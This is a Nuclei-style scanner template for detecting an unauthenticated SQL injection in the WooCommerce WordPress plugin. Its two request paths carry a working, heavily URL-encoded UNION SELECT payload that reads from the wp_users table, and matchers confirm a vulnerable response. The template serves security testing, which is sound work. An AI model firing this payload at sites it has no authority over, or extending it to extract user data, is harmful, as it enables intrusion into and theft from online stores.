id: wordpress-woocommerce-sqli

info:
  name: Woocommerce Unauthenticated SQL Injection
  author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot
  severity: critical
  description: The Woocommerce plugin for Wordpress contains an unauthenticated SQL injection vulnerability.
  tags: wordpress,woocommerce,sqli,wp-plugin,injection
  reference:
    - https://woocommerce.com/posts/critical-vulnerability-detected-july-2021
    - https://viblo.asia/p/phan-tich-loi-unauthen-sql-injection-woocommerce-naQZRQyQKvx
    - https://securitynews.sonicwall.com/xmlpost/wordpress-woocommerce-plugin-sql-injection/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id:
    cwe-id: CWE-89

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-json/wc/store/products/collection-data?calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'
      - '{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'sqli-test'
          - 'attribute_counts'
          - 'price_range'
          - 'term'
        condition: and

      - type: word
        words:
          - 'application/json'
        part: header

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/03/21